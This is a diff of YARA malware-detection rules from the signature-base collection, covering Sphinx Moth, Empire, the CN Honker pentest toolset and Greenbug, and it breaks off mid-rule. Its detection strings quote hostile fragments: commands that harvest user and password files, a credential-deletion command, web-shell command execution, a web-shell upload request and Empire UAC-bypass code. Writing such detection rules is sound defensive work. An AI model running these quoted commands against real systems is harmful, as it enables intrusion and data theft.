+		$s1 = "http://www.maicaidao.com/server.phpcaidao" fullword wide
+		$s2 = "<O>act=login</O>" fullword wide
+		$s3 = "<H>localhost</H>" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <243KB and all of ($s*) and 1 of ($op*)
+		filesize <340KB and 2 of them
 }
-rule SIGNATURE_BASE_Sphinx_Moth_H2T : FILE
+rule SIGNATURE_BASE_CN_Honker_Syconfig : FILE
 {
 	meta:
-		description = "sphinx moth threat group file h2t.dat"
-		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
-		id = "62d14efd-7d0b-5f66-9e78-74f3f9e2fd5b"
-		date = "2015-08-06"
+		description = "Script from disclosed CN Honker Pentest Toolset - file syconfig.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3850007d-20d5-5b10-a549-dc4655877c6e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "www.kudelskisecurity.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sphinx_moth.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7aca260d415de84cf432b18385db6a9768a036e3bd0a9aa8ded4a1bfcad26d0c"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L223-L237"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ff75353df77d610d3bccfbffb2c9dfa258b2fac9"
+		logic_hash = "6b7f918b83bac84df5ac6b247d4162dd385aba0a32570366c62fc4830199e86e"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%s <proxy ip> <proxy port> <target ip> <target port> <cmd> [arg1 cmd] ... [argX cmd]" fullword ascii
-		$s1 = "[-] Error in connection() %d - %s" fullword ascii
-		$s2 = "[-] Child process exit." fullword ascii
-		$s3 = "POST http://%s:%s/ HTTP/1.1" fullword ascii
-		$s4 = "pipe() to" fullword ascii
-		$s5 = "pipe() from" fullword ascii
+		$s9 = "Hashq.CrackHost+FormUnit" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <156KB and ($x1 or all of ($s*))
+		uint16(0)==0x0100 and filesize <18KB and all of them
 }
-rule SIGNATURE_BASE_Sphinx_Moth_Iastor32 : FILE
+rule SIGNATURE_BASE_CN_Honker_Linux_Bin : FILE
 {
 	meta:
-		description = "sphinx moth threat group file iastor32.exe"
-		author = "Kudelski Security - Nagravision SA"
-		id = "5688c598-ea18-578f-bb8a-3729c0502af5"
-		date = "2015-08-06"
+		description = "Script from disclosed CN Honker Pentest Toolset - file linux_bin"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3c56a4a8-6392-517c-a16e-63785799acb9"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "www.kudelskisecurity.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sphinx_moth.yar#L47-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "056949677654a88fb430c988939006dacfefdabbe12824936a01e5aabbb73441"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L239-L254"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "26e71e6ebc6a3bdda9467ce929610c94de8a7ca0"
+		logic_hash = "d02fcf23e46a0b6d44c382e34d73ef6239b6a1afc690e417aa0e6b0898e277c0"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "MIIEpQIBAAKCAQEA4lSvv/W1Mkz38Q3z+EzJBZRANzKrlxeE6/UXWL67YtokF2nN" fullword ascii
-		$s1 = "iAeS3CCA4wli6+9CIgX8SAiXd5OezHvI1jza61z/flsqcC1IP//gJVt16nRx3s9z" fullword ascii
+		$s1 = "client.sin_port = htons(atoi(argv[3]));" fullword ascii
+		$s2 = "printf(\"\\n\\n*********Waiting Client connect*****\\n\\n\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_Sphinx_Moth_Kerberos32 : FILE
+rule SIGNATURE_BASE_CN_Honker_Intersect2_Beta : FILE
 {
 	meta:
-		description = "sphinx moth threat group file kerberos32.dll"
-		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
-		id = "769ee362-2363-511a-8f17-99e66c9bab53"
-		date = "2015-08-06"
+		description = "Script from disclosed CN Honker Pentest Toolset - file Intersect2-Beta.py"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d20da18d-f8c9-5eb3-8d5d-c8816cff3200"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "www.kudelskisecurity.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sphinx_moth.yar#L61-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b672c9b9b0ffffd8f243832ea217bfc10b08026c71d297ee1047ca999fb829c"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L256-L272"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3ba5f720c4994cd4ad519b457e232365e66f37cc"
+		logic_hash = "bc6a83f8f851f7fb5b620be889619fcbd9f34ba27d495c2040e207caf95854bb"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%WINDIR%\\ativpsrz.bin" fullword ascii
-		$x2 = "%WINDIR%\\ativpsrn.bin" fullword ascii
-		$x3 = "kerberos32.dll" fullword wide
-		$x4 = "KERBEROS64.dll" fullword ascii
-		$x5 = "kerberos%d.dll" fullword ascii
-		$s1 = "\\\\.\\pipe\\lsassp" fullword ascii
-		$s2 = "LSASS secure pipe" fullword ascii
-		$s3 = "NullSessionPipes" fullword ascii
-		$s4 = "getlog" fullword ascii
-		$s5 = "startlog" fullword ascii
-		$s6 = "stoplog" fullword ascii
-		$s7 = "Unsupported OS (%d)" fullword ascii
-		$s8 = "Unsupported OS (%s)" fullword ascii
+		$s1 = "os.system(\"ls -alhR /home > AllUsers.txt\")" fullword ascii
+		$s2 = "os.system('getent passwd > passwd.txt')" fullword ascii
+		$s3 = "os.system(\"rm -rf credentials/\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (2 of ($x*) or all of ($s*))
+		uint16(0)==0x2123 and filesize <50KB and 2 of them
 }
-rule SIGNATURE_BASE_Sphinx_Moth_Kerberos64 : FILE
+rule SIGNATURE_BASE_CN_Honker_IIS_Logcleaner1_0_Readme : FILE
 {
 	meta:
-		description = "sphinx moth threat group file kerberos64.dll"
-		author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
-		id = "5a2487e4-cda4-5d45-9351-edd2b69c460a"
-		date = "2015-08-06"
+		description = "Script from disclosed CN Honker Pentest Toolset - file readme.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6f3605ab-cf9d-5f6b-8d89-6269976c5b0b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "www.kudelskisecurity.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sphinx_moth.yar#L87-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "13aeb72fcd0f5fd6e73464a90787c756c50569f9eae48945e4ff90d8f9073585"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L274-L289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2ab47d876b49e9a693f602f3545381415e82a556"
+		logic_hash = "3cbd7b2e1710c78bc8ab8d2730cc6da8eb95038f8431d5d0081db984b3d706cf"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "KERBEROS64.dll" fullword ascii
-		$s1 = "zeSecurityDescriptor" fullword ascii
-		$s2 = "SpGetInfo" fullword ascii
-		$s3 = "SpShutdown" fullword ascii
-		$op0 = { 75 05 e8 6a c7 ff ff 48 8b 1d 47 d6 00 00 33 ff }
-		$op1 = { 48 89 05 0c 2b 01 00 c7 05 e2 29 01 00 09 04 00 }
-		$op2 = { 48 8d 3d e3 ee 00 00 ba 58 }
+		$s2 = "LogCleaner.exe <ip> [Logpath]" fullword ascii
+		$s3 = "http://l-y.vicp.net" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <406KB and all of ($s*) and 1 of ($op*)
+		filesize <7KB and all of them
 }
-rule SIGNATURE_BASE_Sphinx_Moth_Nvcplex : FILE
+rule SIGNATURE_BASE_CN_Honker_Alien_Command : FILE
 {
 	meta:
-		description = "sphinx moth threat group file nvcplex.dat"
-		author = "Kudelski Security - Nagravision SA"
-		id = "dd1b4071-adf5-5d54-9b4c-877f0965bdc7"
-		date = "2015-08-06"
+		description = "Script from disclosed CN Honker Pentest Toolset - file command.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "55dd10c9-f7dc-5ee2-a47d-dab8cc7b60e6"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "www.kudelskisecurity.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sphinx_moth.yar#L106-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2f851c0ab8c4a426b00addfbe0da7ceebb08e93014efcb11d64247d14fec909b"
-		score = 75
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L291-L306"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5896b74158ef153d426fba76c2324cd9c261c709"
+		logic_hash = "a55be30fdb6598669d144308af5a9b6a21ab6140c75fdfc18cecf5d9add4a530"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "mshtaex.exe" fullword wide
-		$op0 = { 41 8b cc 44 89 6c 24 28 48 89 7c 24 20 ff 15 d3 }
-		$op1 = { 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b }
-		$op2 = { 8b ce e8 49 47 00 00 90 8b 43 04 89 05 93 f1 00 }
+		$s0 = "for /d %i in (E:\\freehost\\*) do @echo %i" fullword ascii
+		$s1 = "/c \"C:\\windows\\temp\\cscript\" C:\\windows\\temp\\iis.vbs" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <214KB and all of them
+		filesize <8KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_Natbypass_Dec22_1 : T1090 FILE
+rule SIGNATURE_BASE_CN_Honker_Portrecall_Bc : FILE
 {
 	meta:
-		description = "Detects NatBypass tool (also used by APT41)"
+		description = "Script from disclosed CN Honker Pentest Toolset - file bc.pl"
 		author = "Florian Roth (Nextron Systems)"
-		id = "54af4d84-72f7-5ec4-b0bf-7ba228fdf508"
-		date = "2022-12-27"
+		id = "ea74f260-87e6-5027-b558-628949cae32a"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/cw1997/NATBypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/hktl_natbypass.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8af76d7d9d4500dc219090fbd8ca8cd9fd17bfc224f14a411febfd6f75b92206"
-		score = 80
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L308-L324"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2084990406398afd856b2309c7f579d7d61c3767"
+		logic_hash = "f51644f195e42b91dae80ba1770aeb40790ea8528b6d09f5fed0f71d93bda5fc"
+		score = 70
 		quality = 85
-		tags = "T1090, FILE"
-		hash1 = "4550635143c9997d5499d1d4a4c860126ee9299311fed0f85df9bb304dca81ff"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "nb -slave 127.0.0.1:3389 8.8.8.8:1997" ascii
-		$x2 = "| Welcome to use NATBypass Ver" ascii
-		$s1 = "main.port2host.func1" ascii fullword
-		$s2 = "start to transmit address:" ascii
-		$s3 = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])"
+		$s0 = "print \"[*] Connected to remote host \\n\"; " fullword ascii
+		$s1 = "print \"Usage: $0 [Host] [Port] \\n\\n\";  " fullword ascii
+		$s5 = "print \"[*] Resolving HostName\\n\"; " fullword ascii
 
 	condition:
-		filesize <8000KB and (1 of ($x*) or 2 of them ) or 3 of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_SUSP_Teamcity_CVE_2023_42793_Oct23_1 : CVE_2023_42793
+rule SIGNATURE_BASE_CN_Honker_Tuoku_Script_MSSQL_ : FILE
 {
 	meta:
-		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-42793 on TeamCity servers"
-		author = "Florian Roth"
-		id = "81c04863-72aa-5515-889e-3ef718360cac"
-		date = "2023-10-02"
+		description = "Script from disclosed CN Honker Pentest Toolset - file MSSQL_.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "35c4f119-6a57-580a-b5ee-c36af0ccc94a"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_teamcity_2023_42793.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b6c8e3e3ff91563899ca94904a56460cd702a3e58e0aacf1c3acb506ec3f959"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L326-L342"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7097c21f92306983add3b5b29a517204cd6cd819"
+		logic_hash = "4d721fd9711799cf3fd8ba6c300e270ed25faa2fb938ea01464e9bc9a3768e22"
 		score = 70
 		quality = 85
-		tags = "CVE-2023-42793"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sa1 = "File edited: "
-		$sa2 = "\\TeamCity\\config\\internal.properties by user with id="
-		$sb1 = "s.buildServer.ACTIVITIES.AUDIT - server_file_change: File "
-		$sb2 = "\\TeamCity\\config\\internal.properties was modified by \"user with id"
+		$s1 = "GetLoginCookie = Request.Cookies(Cookie_Login)" fullword ascii
+		$s2 = "if ShellPath=\"\" Then ShellPath = \"c:\\\\windows\\\\system32\\\\cmd.exe\"" fullword ascii
+		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
 
 	condition:
-		all of ($sa*) or all of ($sb*)
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_SUSP_Teamcity_Oct23_1
+rule SIGNATURE_BASE_CN_Honker_Nc_MOVE : FILE
 {
 	meta:
-		description = "Detects log entries that could indicate a successful exploitation of TeamCity servers"
-		author = "Florian Roth"
-		id = "4845b40a-cf77-53ae-b2fa-d1ed861153f2"
-		date = "2023-10-02"
+		description = "Script from disclosed CN Honker Pentest Toolset - file MOVE.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "115d1ec9-6c4f-587e-977c-cd24ada89ab6"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_teamcity_2023_42793.yar#L20-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2f0abffb9c72e6b32875310e5af7365b6cab4e6c4f6188daa3085b57c38ed0e"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L344-L360"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4195370c103ca467cddc8f2724a8e477635be424"
+		logic_hash = "49f41162919bb04744041ae6f7438e61d98fb7d5984a17535d9c4ce4d398671b"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "tbrains.buildServer.ACTIVITIES"
-		$s1 = "External process is launched by user user with id"
-		$s2 = ". Command line: cmd.exe \"/c whoami"
+		$s0 = "Destination: http://202.113.20.235/gj/images/2.asp" fullword ascii
+		$s1 = "HOST: 202.113.20.235" fullword ascii
+		$s2 = "MOVE /gj/images/A.txt HTTP/1.1" fullword ascii
 
 	condition:
-		all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Bypassuac : FILE
+rule SIGNATURE_BASE_CN_Honker_Mssqlpw_Scan : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
+		description = "Script from disclosed CN Honker Pentest Toolset - file mssqlpw scan.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8454d929-e184-5be1-b61f-4dfa8f44bdda"
-		date = "2015-08-06"
+		id = "7dc29d06-e1e7-527f-b9e5-d75f660fd73e"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L9-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ab0f900a6915b7497313977871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
-		logic_hash = "1697065405fa0e255cdd77fa39f53866118caf0bad6a3d72756590303610e7b6"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_scripts.yar#L362-L377"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e49def9d72bfef09a639ef3f7329083a0b8b151c"
+		logic_hash = "eb3bd38ca317f0b10358581fc3dbb8ca81b991b9a4f4f2d256d81a31028411b9"
 		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
-		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii
-		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii
-		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii
+		$s0 = "response.Write(\"I Get it ! Password is <font color=red>\" & str & \"</font><BR>" ascii
+		$s1 = "response.Write \"Done!<br>Process \" & tTime & \" s\"" fullword ascii
 
 	condition:
-		filesize <1200KB and 3 of them
+		filesize <6KB and all of them
 }
-rule SIGNATURE_BASE_Empire_Lib_Modules_Trollsploit_Message : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Greenbug_Malware_1 : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
+		description = "Detects Malware from Greenbug Incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cb0eee5a-c236-512e-8256-7411a7fb1fd5"
-		date = "2015-08-06"
+		id = "3375a392-4896-572c-9688-00f01ea86ca7"
+		date = "2017-01-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
-		logic_hash = "70b7d91395ae30131c1448511425abf32ddedf04632266454aa008330ff28222"
-		score = 70
+		reference = "https://goo.gl/urp4CD"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greenbug.yar#L12-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e060a197dec0ce5da385abd282f0c4397bace8945b36198955925d02444b37a3"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dab460a0b73e79299fbff2fa301420c1d97a36da7426acc0e903c70495db2b76"
 
 	strings:
-		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii
-		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii
-		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii
-		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii
+		$s1 = "vailablez" fullword ascii
+		$s2 = "Sfouglr" fullword ascii
 
 	condition:
-		filesize <10KB and 3 of them
+		( uint16(0)==0x5a4d and filesize <400KB and all of them )
 }
-rule SIGNATURE_BASE_Empire_Persistence : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Greenbug_Malware_2 : FILE
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
+		description = "Detects Backdoor from Greenbug Incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f63b5f4-f933-5821-b0b0-50717e75f6d9"
-		date = "2015-08-06"
+		id = "e5d5ddae-cf6d-579f-9a67-9406838b5e0b"
+		date = "2017-01-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L47-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
-		logic_hash = "3c398aa180b6f2225a25f9b1430e89991c7e391930e2be140e89c67da67b3614"
-		score = 70
+		reference = "https://goo.gl/urp4CD"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greenbug.yar#L28-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "25a9e1f08187f3d3cd0ec1384a5f4647c3368b99062f2e0d7d45c6c2ffeb66e0"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6b28a43eda5b6f828a65574e3f08a6d00e0acf84cbb94aac5cec5cd448a4649d"
+		hash2 = "21f5e60e9df6642dbbceca623ad59ad1778ea506b7932d75ea8db02230ce3685"
+		hash3 = "319a001d09ee9d754e8789116bbb21a3c624c999dae9cf83fde90a3fbe67ee6c"
 
 	strings:
-		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii
-		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii
-		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii
+		$x1 = "|||Command executed successfully" fullword ascii
+		$x2 = "\\Release\\Bot Fresh.pdb" ascii
+		$x3 = "C:\\ddd\\a1.txt" fullword wide
+		$x4 = "Bots\\Bot5\\x64\\Release" ascii
+		$x5 = "Bot5\\Release\\Ism.pdb" ascii
+		$x6 = "Bot\\Release\\Ism.pdb" ascii
+		$x7 = "\\Bot Fresh\\Release\\Bot" ascii
+		$s1 = "/Home/SaveFile?commandId=CmdResult=" fullword wide
+		$s2 = "raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday" fullword ascii
+		$s3 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+		$s4 = "SELECT * FROM AntiVirusProduct" fullword wide
 
 	condition:
-		filesize <108KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 2 of them )) or (3 of them )
 }
-rule SIGNATURE_BASE_Empire_Portscan : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Greenbug_Malware_3
 {
 	meta:
-		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
+		description = "Detects Backdoor from Greenbug Incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "23a0f769-9155-5aa0-9200-2baf827bdda4"
-		date = "2015-08-06"
+		id = "68142bcd-4bd0-5c80-97fc-38811565e21c"
+		date = "2017-01-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/PowerShellEmpire/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_empire.yar#L65-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
-		logic_hash = "162ac4ccc8629a2d017831cdc6d1bf8d7a62b844bf68a0d61956b2f41a5e004b"
-		score = 70
+		reference = "https://goo.gl/urp4CD"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greenbug.yar#L56-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f4e8672da2ed9d90d4ebfccca977c4aeb93656d9e467cf479699cefd03611f32"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
